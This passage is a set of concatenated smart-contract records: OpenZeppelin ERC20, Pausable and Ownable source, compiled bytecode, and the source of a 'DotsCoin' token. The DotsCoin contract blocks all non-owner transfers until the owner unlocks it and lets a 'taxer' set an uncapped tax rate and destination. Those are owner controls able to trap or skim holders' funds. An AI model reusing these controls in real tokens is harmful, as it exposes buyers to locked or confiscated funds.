_msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063d2e8756111610066578063d2e8756114610255578063d5a44f8614610268578063e176f72b1461029a578063f2fde38b146102ad57600080fd5b80638da5cb5b1461020d5780639cccee2b14610228578063b0b381c51461023b578063c94c7ff41461024257600080fd5b80635c975abb116100d35780635c975abb1461018f5780635e307a48146101ac578063715018a6146101e55780638462151c146101ed57600080fd5b8063150b7a021461010557806316c38b3c1461014e57806317840e071461016357806357072b211461017c575b600080fd5b610118610113366004610f9c565b6102c0565b6040517fffffffff0000000000000000000000000000000000000000000000000000000090911681526020015b60405180910390f35b61016161015c366004611037565b61032e565b005b61016e620138835481565b604051908152602001610145565b61016161018a366004611059565b6103a6565b600054600160a01b900460ff166040519015158152602001610145565b6101d37f000000000000000000000000000000000000000000000000000000000000000b81565b60405160ff9091168152602001610145565b61016161062e565b6102006101fb3660046110ce565b610694565b60405161014591906110e9565b6000546040516001600160a01b039091168152602001610145565b61016e61023636600461112d565b6107dc565b606e61016e565b610161610250366004611059565b6107ed565b61016e61026336600461112d565b6109b7565b61027b61027636600461112d565b6109e6565b604080516001600160a01b039093168352602083019190915201610145565b6101616102a8366004611059565b610a13565b6101616102bb3660046110ce565b610b80565b60006001600160a01b03851615610303576040517faee2b18c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b507f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6000546001600160a01b0316331461038d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b801561039e5761039b610c5f565b50565b61039b610d04565b60ff7f000000000000000000000000000000000000000000000000000000000000000b168111156103ea576040516313dfb6a160e21b815260040160405180910390fd5b6000805b8281101561052d576000600185858481811061040c5761040c611146565b90506020020135619c40811061042457610424611146565b6002020180549091506001600160a01b0316331461045557604051631f5af68760e31b815260040160405180910390fd5b620138835460018201546104699042611172565b10156104885760405163d71d60b560e01b815260040160405180910390fd5b600054600160a01b900460ff166104c7576104ba8585848181106104ae576104ae611146565b905060200201356109b7565b6104c49084611189565b92505b60018585848181106104db576104db611146565b90506020020135619c4081106104f3576104f3611146565b60020201805473ffffffffffffffffffffffffffffffffffffffff1916815560006001909101555080610525816111a1565b9150506103ee565b5080156105c15762013881546001600160a01b03166340c10f19336040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b03909116600482015260248101849052604401600060405180830381600087803b1580156105a857600080fd5b505af11580156105bc573d6000803e3d6000fd5b505050505b62013882546001600160a01b031663f3993d11303386866040518563ffffffff1660e01b81526004016105f794939291906111bc565b600060405180830381600087803b15801561061157600080fd5b505af1158015610625573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b031633146106885760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610384565b6106926000610d91565b565b606060006106a183610dee565b9050806106be575050604080516000815260208101909152919050565b60008167ffffffffffffffff8111156106d9576106d961122c565b604051908082528060200260200182016040528015610702578160200160208202803683370190505b5090506000805b619c4081101561079357856001600160a01b0316600182619c40811061073157610731611146565b60020201546001600160a01b0316141561078157808383610751816111a1565b94508151811061076357610763611146565b60200260200101818152505083821415610781575090949350505050565b8061078b816111a1565b915050610709565b5060405162461bcd60e51b815260206004820152601a60248201527f4865726f5374616b65733a206d697373696e6720746f6b656e730000000000006044820152606401610384565b60006107e782610e8d565b92915050565b600054600160a01b900460ff161561083a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610384565b60ff7f000000000000000000000000000000000000000000000000000000000000000b1681111561087e576040516313dfb6a160e21b815260040160405180910390fd5b6000805b8281101561095957600060018585848181106108a0576108a0611146565b90506020020135619c4081106108b8576108b8611146565b6002020180549091506001600160a01b031633146108e957604051631f5af68760e31b815260040160405180910390fd5b620138835460018201546108fd9042611172565b101561091c5760405163d71d60b560e01b815260040160405180910390fd5b6109318585848181106104ae576104ae611146565b61093b9084611189565b42600190920191909155915080610951816111a1565b915050610882565b5080156109b25762013881546040517f40c10f19000000000000000000000000000000000000000000000000000000008152336004820152602481018390526001600160a01b03909116906340c10f19906044016105f7565b505050565b60006107e7600183619c4081106109d0576109d0611146565b60020201600101546109e184610e8d565b610f54565b600181619c4081106109f757600080fd5b6002020180546001909101546001600160a01b03909116915082565b600054600160a01b900460ff1615610a605760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610384565b60ff7f000000000000000000000000000000000000000000000000000000000000000b16811115610aa4576040516313dfb6a160e21b815260040160405180910390fd5b62013882546001600160a01b031663f3993d11333085856040518563ffffffff1660e01b8152600401610ada94939291906111bc565b600060405180830381600087803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505060005b818110156109b25760006001848484818110610b2d57610b2d611146565b90506020020135619c408110610b4557610b45611146565b60020201805473ffffffffffffffffffffffffffffffffffffffff191633178155426001909101555080610b78816111a1565b915050610b0f565b6000546001600160a01b03163314610bda5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610384565b6001600160a01b038116610c565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610384565b61039b81610d91565b600054600160a01b900460ff1615610cac5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610384565b6000805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610ce73390565b6040516001600160a01b03909116815260200160405180910390a1565b600054600160a01b900460ff16610d5d5760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610384565b6000805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33610ce7565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006001600160a01b038216610e30576040517fd92e233d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000805b619c40811015610e8657600181619c408110610e5257610e52611146565b60020201546001600160a01b0385811691161415610e7657610e73826111a1565b91505b610e7f816111a1565b9050610e34565b5092915050565b62013882546040517f21d801110000000000000000000000000000000000000000000000000000000081526004810183905260009182916001600160a01b03909116906321d801119060240160c060405180830381865afa158015610ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1a9190611253565b90508060a0015181608001518260600151610f359190611300565b610f3f9190611300565b610f4a906005611325565b60ff169392505050565b60006201518082610f658542611172565b610f6f919061134e565b610f79919061136d565b9392505050565b80356001600160a01b0381168114610f9757600080fd5b919050565b600080600080600060808688031215610fb457600080fd5b610fbd86610f80565b9450610fcb60208701610f80565b935060408601359250606086013567ffffffffffffffff80821115610fef57600080fd5b818801915088601f83011261100357600080fd5b81358181111561101257600080fd5b89602082850101111561102457600080fd5b9699959850939650602001949392505050565b60006020828403121561104957600080fd5b81358015158114610f7957600080fd5b6000806020838503121561106c57600080fd5b823567ffffffffffffffff8082111561108457600080fd5b818501915085601f83011261109857600080fd5b8135818111156110a757600080fd5b8660208260051b85010111156110bc57600080fd5b60209290920196919550909350505050565b6000602082840312156110e057600080fd5b610f7982610f80565b6020808252825182820181905260009190848201906040850190845b8181101561112157835183529284019291840191600101611105565b50909695505050505050565b60006020828403121561113f57600080fd5b5035919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000828210156111845761118461115c565b500390565b6000821982111561119c5761119c61115c565b500190565b60006000198214156111b5576111b561115c565b5060010190565b60006001600160a01b038087168352808616602084015250606060408301528260608301527f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83111561120e57600080fd5b8260051b808560808501376000920160800191825250949350505050565b634e487b7160e01b600052604160045260246000fd5b805160ff81168114610f9757600080fd5b600060c0828403121561126557600080fd5b60405160c0810181811067ffffffffffffffff8211171561129657634e487b7160e01b600052604160045260246000fd5b6040526112a283611242565b81526112b060208401611242565b60208201526112c160408401611242565b60408201526112d260608401611242565b60608201526112e360808401611242565b60808201526112f460a08401611242565b60a08201529392505050565b600060ff821660ff84168060ff0382111561131d5761131d61115c565b019392505050565b600060ff821660ff84168160ff04811182151516156113465761134661115c565b029392505050565b60008160001904831182151516156113685761136861115c565b500290565b60008261138a57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220747de19487a1bd8c2041f8f06138a9c4a1fefda762852c0ee129ba71d26fa38f64736f6c634300080b0033
[ 5, 10, 7, 12 ]
0xf1b53f285f329c29f01e291fe56d1a28d3b1690d
pragma solidity ^0.7.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DotsCoinCore is ERC20("DotSwaps", "DOTS"), Ownable { using SafeMath for uint256; address internal _taxer; address internal _taxDestination; uint internal _taxRate = 0; bool internal _lock = true; mapping (address => bool) internal _taxWhitelist; function transfer(address recipient, uint256 amount) public override returns (bool) { require(msg.sender == owner() || !_lock, "Transfer is locking"); uint256 taxAmount = amount.mul(_taxRate).div(100); if (_taxWhitelist[msg.sender] == true) { taxAmount = 0; } uint256 transferAmount = amount.sub(taxAmount); require(balanceOf(msg.sender) >= amount, "insufficient balance."); super.transfer(recipient, transferAmount); if (taxAmount != 0) { super.transfer(_taxDestination, taxAmount); } return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(sender == owner() || !_lock, "TransferFrom is locking"); uint256 taxAmount = amount.mul(_taxRate).div(100); if (_taxWhitelist[sender] == true) { taxAmount = 0; } uint256 transferAmount = amount.sub(taxAmount); require(balanceOf(sender) >= amount, "insufficient balance."); super.transferFrom(sender, recipient, transferAmount); if (taxAmount != 0) { super.transferFrom(sender, _taxDestination, taxAmount); } return true; } } contract DotsCoin is DotsCoinCore { mapping (address => bool) public minters; constructor() { _taxer = owner(); _taxDestination = owner(); } function mint(address to, uint amount) public onlyMinter { _mint(to, amount); } function burn(uint amount) public { require(amount > 0); require(balanceOf(msg.sender) >= amount); _burn(msg.sender, amount); } function addMinter(address account) public onlyOwner { minters[account] = true; } function removeMinter(address account) public onlyOwner { minters[account] = false; } modifier onlyMinter() { require(minters[msg.sender], "Restricted to minters."); _; } modifier onlyTaxer() { require(msg.sender == _taxer, "Only for taxer."); _; } function setTaxer(address account) public onlyTaxer { _taxer = account; } function setTaxRate(uint256 rate) public onlyTaxer { _taxRate = rate; } function setTaxDestination(address account) public onlyTaxer { _taxDestination = account; } function addToWhitelist(address account) public onlyTaxer { _taxWhitelist[account] = true; } function removeFromWhitelist(address account) public onlyTaxer { _taxWhitelist[account] = false; } function taxer() public view returns(address) { return _taxer; } function taxDestination() public view returns(address) { return _taxDestination; } function taxRate() public view returns(uint256) { return _taxRate; } function isInWhitelist(address account) public view returns(bool) { return _taxWhitelist[account]; } function unlock() public onlyOwner { _lock = false; } function getLockStatus() view public returns(bool) { return _lock; } } /** *DOTSWAPS . COM - WEBSITE *DOTSWAPS IS A DUAL TOKEN MODEL SWAPS CONTRACT FOLLOW UP */
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063715018a611610104578063a457c2d7116100a2578063dd62ed3e11610071578063dd62ed3e146108d6578063e43252d71461094e578063f2fde38b14610992578063f46eccc4146109d6576101da565b8063a457c2d7146107d6578063a69df4b51461083a578063a9059cbb14610844578063c6d69a30146108a8576101da565b80638da5cb5b116100de5780638da5cb5b146106bb57806395d89b41146106ef578063983b2d56146107725780639ae8ad45146107b6576101da565b8063715018a61461064f578063771a3a1d146106595780638ab1d68114610677576101da565b806323b872dd1161017c578063395093511161014b578063395093511461051757806340c10f191461057b57806342966c68146105c957806370a08231146105f7576101da565b806323b872dd146103fa5780632c547b3d1461047e5780633092afd5146104b2578063313ce567146104f6576101da565b80630d2f0b2e116101b85780630d2f0b2e146103205780631163c3eb1461036457806317c81c1d146103a857806318160ddd146103dc576101da565b806306fdde03146101df578063095ea7b31461026257806309fd8212146102c6575b600080fd5b6101e7610a30565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ad2565b60405180821515815260200191505060405180910390f35b610308600480360360208110156102dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af0565b60405180821515815260200191505060405180910390f35b6103626004803603602081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b46565b005b6103a66004803603602081101561037a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c4d565b005b6103b0610d54565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e4610d7e565b6040518082815260200191505060405180910390f35b6104666004803603606081101561041057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d88565b60405180821515815260200191505060405180910390f35b610486610fb9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f4600480360360208110156104c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe3565b005b6104fe611108565b604051808260ff16815260200191505060405180910390f35b6105636004803603604081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111f565b60405180821515815260200191505060405180910390f35b6105c76004803603604081101561059157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d2565b005b6105f5600480360360208110156105df57600080fd5b810190808035906020019092919050505061129f565b005b6106396004803603602081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ce565b6040518082815260200191505060405180910390f35b610657611316565b005b6106616114a1565b6040518082815260200191505060405180910390f35b6106b96004803603602081101561068d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ab565b005b6106c36115c9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f76115f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073757808201518184015260208101905061071c565b50505050905090810190601f1680156107645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107b46004803603602081101561078857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611695565b005b6107be6117ba565b60405180821515815260200191505060405180910390f35b610822600480360360408110156107ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117d1565b60405180821515815260200191505060405180910390f35b61084261189e565b005b6108906004803603604081101561085a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611985565b60405180821515815260200191505060405180910390f35b6108d4600480360360208110156108be57600080fd5b8101908080359060200190929190505050611bb3565b005b610938600480360360408110156108ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c80565b6040518082815260200191505060405180910390f35b6109906004803603602081101561096457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d07565b005b6109d4600480360360208110156109a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e25565b005b610a18600480360360208110156109ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612035565b60405180821515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ac85780601f10610a9d57610100808354040283529160200191610ac8565b820191906000526020600020905b815481529060010190602001808311610aab57829003601f168201915b5050505050905090565b6000610ae6610adf612055565b848461205d565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4f6e6c7920666f722074617865722e000000000000000000000000000000000081525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d10576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4f6e6c7920666f722074617865722e000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600254905090565b6000610d926115c9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610dd85750600960009054906101000a900460ff16155b610e4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5472616e7366657246726f6d206973206c6f636b696e6700000000000000000081525060200191505060405180910390fd5b6000610e746064610e666008548661225490919063ffffffff16565b6122da90919063ffffffff16565b905060011515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ed457600090505b6000610ee9828561232490919063ffffffff16565b905083610ef5876112ce565b1015610f69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f696e73756666696369656e742062616c616e63652e000000000000000000000081525060200191505060405180910390fd5b610f7486868361236e565b5060008214610fac57610faa86600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461236e565b505b6001925050509392505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610feb612055565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207